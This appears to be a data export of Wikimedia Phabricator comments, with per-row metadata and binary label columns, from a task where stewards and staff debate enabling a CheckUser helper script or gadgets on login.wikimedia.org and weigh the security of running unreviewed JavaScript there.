+643950,Allow a script to work on login.wikimedia.org,">>! In T102254#2195821, @Luke081515 wrote:
+>>>! In T102254#2195633, @csteipp wrote:
+>>(...) Should that be added to the CU extension, for wikis that also have CentralAuth and the user has appropriate rights?
+> 
+> Adding that script to the CU Extension is the best, I think, because:
+> * No need for gadgets
+> * No need to look if other gadgets get installed
+> * Problem with multi lock / CU solved
+> * and general useful for the extension checkuser.
+
+Yeah, if it's moderately easy to add to checkuser that would be best on multiple fronts. There is also a (different but obviously related) desire to have that functionality in checkuser anyway :) .",,,1460424547,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1
+643608,Allow a script to work on login.wikimedia.org,">>! In T102254#2195633, @csteipp wrote:
+>(...) Should that be added to the CU extension, for wikis that also have CentralAuth and the user has appropriate rights?
+
+Adding that script to the CU Extension is the best, I think, because:
+* No need for gadgets
+* No need to look if other gadgets get installed
+* Problem with multi lock / CU solved
+* and general useful for the extension checkuser.",,,1460395286,,PHID-USER-qlodcndtwpolbdhncjis,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,1,1
+643588,Allow a script to work on login.wikimedia.org,"On the larger question of should we install Gadgets on that wiki, I need to look more into the current state of the extension. Let me get back to you on that one.
+
+For this particular script, agree, it looks safe. Should that be added to the CU extension, for wikis that also have CentralAuth and the user has appropriate rights?",,,1460393951,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,0,0
+643202,Allow a script to work on login.wikimedia.org,"I'd love if this could be reconsidered given that our work has increased there, but in a different fashion. I'd love to know if **a single script**, that is: @Glaisher's [[ https://meta.wikimedia.org/wiki/User:Glaisher/cuCAMultiLock.js | cuCAmultilock ]] could be enabled there. It just allows to parse data from the CU form to the MultiLock form at Meta, and that will solve a lot of our current problems. Currently it has been requested at T128605, but it's triaged low and seems it's not going to happen soon. What do you think @csteipp? You were opposed on allowing all kinds of Gadgets, but on T102254#1366965 you left the door opened with some conditions. This one is very simple but very handy. It won't be hard to security-review and code-reviewed it and if allowed, will save us a lot of time.",,,1460276913,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,40,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1
+492725,Allow a script to work on login.wikimedia.org,"Implementation of gadgets on this wiki should be considered blocked by {T71445}. The other suggested alternatives don't seem to match up with this task, so I'm just going to mark this as declined.",,,1437083719,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+476015,Allow a script to work on login.wikimedia.org,"At face value, I don't see that the data is any more precious than any
+other wiki. The wiki contains one-touch data for three months for new user
+accounts. Compared to big wikis that contain data on all edits for those
+wikis. One would think that enWP would beat it easily.
+
+I am not arguing that we should allow all users access to run scripts,
+pointless argument for users who don't need it. We are looking to a special
+case of allowing stewards to have functionality of tools that they can run
+on every other open wmf wiki which they can use around CU tools /
+investigations.",,,1434493307,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+475833,Allow a script to work on login.wikimedia.org,">>! In T102254#1371220, @MF-Warburg wrote:
+> What is the problem with allowing user css/js on loginwiki?
+
+The problem is because it allows unreviewed JavaScript code to be executed in the browsers of users. This is a problem across all wikis, but considering the sensitive nature of the loginwiki, we should be stricter with it than other wikis.",,,1434482661,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+475810,Allow a script to work on login.wikimedia.org,What is the problem with allowing user css/js on loginwiki?,,,1434481651,,PHID-USER-7e4yonmruupxzg23swum,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0
+475223,Allow a script to work on login.wikimedia.org,"I can say that I only use login.wmf for checkuser checks, and predominantly as a reverse check for checking whether users are going to be affected by a global block on webhost range.
+
+I personally don't need tools on the site, though could understand those working on one screen may find it useful.
+
+In terms of useful scripts
+//tools-static.wmflabs.org/meta/scripts/pathoschild.stewardscript.js
+
+",,,1434429791,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+475070,Allow a script to work on login.wikimedia.org,"Thank you for taking care of the mistake I made. Sorry for all the fuss.
+
+Regarding the scripts, as I've told James, I was thinking basically on:
+
+* [[https://meta.wikimedia.org/wiki/User:Hoo_man/useful_links.js|useful links]] from @hoo, and
+* [[https://en.wikipedia.org/wiki/User:Lupin/popups.js|Lupin's popups]].
+
+I don't know if those scripts would compromise the security of the wiki. Hoo's useful links would cover pretty much our needs IMHO, by having direct links to CentralAuth and Global IP block; which is what we mostly need. Maybe popups ain't needed after all.
+
+I insist, if this is going to compromise the security of the project, then shut this ticket down and please accept my apologies.
+
+Best regards.",,,1434405861,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1
+475049,Allow a script to work on login.wikimedia.org,"Personally I think that the Gadgets option is the best one in the short term. Talking to Marco it looks like we could come up with a relatively small set of gadgets that would be useful. I think a global checkuser tool would also be useful but is a longer term project.
+
+I have a tiny version of #4 I use within the team (pretty shitty, but not on labs on an internal system) so certainly possible but would prefer against it.",,,1434403744,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+475048,Allow a script to work on login.wikimedia.org,"I think it would be wise to avoid inserting any sort of non-code-reviewed JavaScript onto loginwiki.
+
+@csteipp Is #4 really OK at all? Isn't there some sort of restriction of storing private data on non-production? (Even if there isn't, I agree it's not a great idea.)",,,1434403556,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,1,0,0,0,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0
+474927,Allow a script to work on login.wikimedia.org,"> From a GlobalCssJs perspective, this is declined. We're not going to add any hacks or workarounds in the extension because user JS/CSS are all disabled on loginwiki. If Chris decides that setting $wgAllowUserJs = $wgAllowUserCss = true is ok, then GlobalCssJs will just work, but I doubt he will.
+
+I would like to avoid that if possible.
+
+The alternatives seem to be,
+1) We add Ex:Gadgets, and have a small number of reviewed gadgets that stewards can turn on
+2) We implement global CU
+3) Add a feature to CU on meta to run CU on another wiki (i.e., loginwiki)
+4) Setup something on tools to run the checks via OAuth
+
+For #1, if we can come up with a list, I think we can (within a week or so) do the reviews and get those installed. Global CU has been blocked on sul finalization (too many issues with logging and identities). Now that it's pretty much done, might be time to draw up plans for it. That will be longer than a couple week project however. #3 might be slightly less work than global CU, while keeping loginwiki clean.
+
+#4 I wouldn't be a huge fan of, but if someone has time, there's no technical reason it can't be setup by anyone right now.",,,1434394974,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+474913,Allow a script to work on login.wikimedia.org,"Okay, public now that the email address issue is taken care of.
+
+From a GlobalCssJs perspective, this is declined. We're not going to add any hacks or workarounds in the extension because user JS/CSS are all disabled on loginwiki. If Chris decides that setting `$wgAllowUserJs = $wgAllowUserCss = true` is ok, then GlobalCssJs will just work, but I doubt he will.
+
+I would recommend instead that you look into solutions like greasemonkey or scriptish which allow you to add custom JS from your browser. I can assist if you need help setting it up.",,,1434393887,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+474442,Allow a script to work on login.wikimedia.org,"So, can this task be made public now?",,,1434345265,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+474414,Allow a script to work on login.wikimedia.org,Ah thanks. That explains why I can't see it.,,,1434322287,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+474412,Allow a script to work on login.wikimedia.org,">>! In T102254#1364312, @Krenair wrote:
+>>>! In T102254#1364296, @Jalexander wrote:
+>> It's restricted to WMF-NDA at the moment (hence why you can see it)
+> 
+> I'd kind of prefer if it was just set to No One. I don't think any of us really need/want to see it, it can only cause confusion (given this is very unclear, you probably shouldn't expect it to actually be treated as private by other WMF-NDA members who aren't reading this)...
+
+I agree, it's not my preference either, it was somehow easier to do it too a group for now but we're talking both filing something upstream as well. If hiding it to a group is the right move I wonder if just creating an empty one is the right move for the interim.",,,1434322229,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1
+474411,Allow a script to work on login.wikimedia.org,">>! In T102254#1364296, @Jalexander wrote:
+> It's restricted to WMF-NDA at the moment (hence why you can see it)
+
+I'd kind of prefer if it was just set to No One. I don't think any of us really need/want to see it, it can only cause confusion (given this is very unclear, you probably shouldn't expect it to actually be treated as private by other WMF-NDA members who aren't reading this)...",,,1434321649,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,1
+474407,Allow a script to work on login.wikimedia.org,">>! In T102254#1364264, @Krenair wrote:
+>>>! In T102254#1364258, @Aklapper wrote:
+>> (In the mean time, Mukunda restricted visibility of email addresses in tasks. We're discussing how to move forward.)
+> 
+> I can still see the email address here, is there some sort of policy for seeing them? Is this discussion in Phabricator somewhere?
+
+It's restricted to WMF-NDA at the moment (hence why you can see it) currently the discussion is off phabricator. I imagine it will move here at some point.",,,1434319694,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,1,1,0,0,1
+474390,Allow a script to work on login.wikimedia.org,">>! In T102254#1364258, @Aklapper wrote:
+> (In the mean time, Mukunda restricted visibility of email addresses in tasks. We're discussing how to move forward.)
+
+I can still see the email address here, is there some sort of policy for seeing them? Is this discussion in Phabricator somewhere?",,,1434316789,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,1,1,0,0,1
+474387,Allow a script to work on login.wikimedia.org,"(In the mean time, Mukunda restricted visibility of email addresses in tasks. We're discussing how to move forward.)",,,1434316171,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+474386,Allow a script to work on login.wikimedia.org,"The issue is that ""From Email"" field at the top of the object info, below Author and above Subscribers. There's some email address to which you can send in new tasks for creation in Phabricator... We should probably clarify or remove it from docs etc. if it's going to be publicly displaying people's addresses without them being aware/being able to remove the address.",,,1434316116,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1
+474385,Allow a script to work on login.wikimedia.org,"The issue is that ""From Email"" field at the top of the object info, below Author and above Subscribers. There's some email address to which you can send in new tasks for creation in Phabricator... We should probably clarify or remove it from docs etc. if it's going to be publicly displaying people's addresses without them being aware.",,,1434316072,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1
+474384,Allow a script to work on login.wikimedia.org,"Maybe I'm just blind, but where is this email? I don't see a public email address anywhere. @Jalexander, did you succeed in removing it?",,,1434315906,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0
+474185,Allow a script to work on login.wikimedia.org,">>! In T102254#1363118, @Jalexander wrote:
+>>>! In T102254#1363114, @Krenair wrote:
+>>>>! In T102254#1363098, @MarcoAurelio wrote:
+>>> Last time I checked it was WMF who hired and paid their staff, not vice
+>>> versa :-) Does it really matter that LCA is now called just CA? Perhaps is
+>>> we were provided better tools to counter vandalism and spam we would not be
+>>> in need of using this workarounds to get the job done.
+>> 
+>> You've missed the point entirely. And this is still invalid, you need a separate task because this discussion does not need to be private, only the creator's email address.
+> 
+> I'm trying to get the email address removed, but I see no reason to create a brand new ticket at this point. The security level may be inappropriate (would you feel better if it was marked as an ""other confidential issue"" instead of security?) but the request is completely valid.
+
+The reason that this is private is that the requester did not mean to share their email address. The discussion itself should not be private, so the ticket is invalid. Opening up to WMF-NDA would not fix this issue.
+
+The request itself seems valid, so I encourage you to create a new ticket to work out whether it is able to be resolved, or (possibly) declined.",,,1434226973,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+474184,Allow a script to work on login.wikimedia.org,">>! In T102254#1363114, @Krenair wrote:
+>>>! In T102254#1363098, @MarcoAurelio wrote:
+>> Last time I checked it was WMF who hired and paid their staff, not vice
+>> versa :-) Does it really matter that LCA is now called just CA? Perhaps is
+>> we were provided better tools to counter vandalism and spam we would not be
+>> in need of using this workarounds to get the job done.
+> 
+> You've missed the point entirely. And this is still invalid, you need a separate task because this discussion does not need to be private, only the creator's email address.
+
+I'm trying to get the email address removed, but I see no reason to create a brand new ticket at this point. The security level may be inappropriate (would you feel better if it was marked as an ""other confidential issue"" instead of security?) but the request is completely valid.",,,1434226644,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,0,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1
+474182,Allow a script to work on login.wikimedia.org,">>! In T102254#1363098, @MarcoAurelio wrote:
+> Last time I checked it was WMF who hired and paid their staff, not vice
+> versa :-) Does it really matter that LCA is now called just CA? Perhaps is
+> we were provided better tools to counter vandalism and spam we would not be
+> in need of using this workarounds to get the job done.
+
+You've missed the point entirely. And this is still invalid, you need a separate task because this discussion does not need to be private, only the creator's email address.",,,1434226307,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+474180,Allow a script to work on login.wikimedia.org,"Last time I checked it was WMF who hired and paid their staff, not vice
+versa :-) Does it really matter that LCA is now called just CA? Perhaps is
+we were provided better tools to counter vandalism and spam we would not be
+in need of using this workarounds to get the job done.",,,1434224829,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,0
+474179,Allow a script to work on login.wikimedia.org,">>! In T102254#1363085, @Krenair wrote:
+> Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's necessarily supported by the developers or sysadmins. :)
+
+Disabling checkuser there would be a significant set back for the stewards and the work against global spam and vandalism. I would fight any action to do so without a replacement already in stone (said replacement would essentially have to be global checkuser from meta). This is not a new thing, checkuser has been actively used and important since soon after loginWiki was created and has been discussed many times both on and off phabricator. 
+
+@csteipp asked me about the possibility of a couple trusted gadgets being allowed on. @MarcoAurelio I know that's not perfect but allowing full global scripts is concerning, do you think that could  address most of the concerns  however?",,,1434224672,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,1,1
+474177,Allow a script to work on login.wikimedia.org,">>! In T102254#1363083, @MarcoAurelio wrote:
+> You can ask @Jalexander but I can tell you that LCA approves such use.
+
+Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's necessarily supported/intended by the developers or sysadmins. :)",,,1434224367,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,1
+474176,Allow a script to work on login.wikimedia.org,"Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's necessarily supported/intended by the developers or sysadmins. :)",,,1434224345,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+474174,Allow a script to work on login.wikimedia.org,"Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's necessarily supported by the developers or sysadmins. :)",,,1434223936,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+474173,Allow a script to work on login.wikimedia.org,"Yeah, unfortunately regardless of what that now-nonexistent department may have (or may not have) said, that doesn't mean it's magically supported by the developers or sysadmins. :)",,,1434223918,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
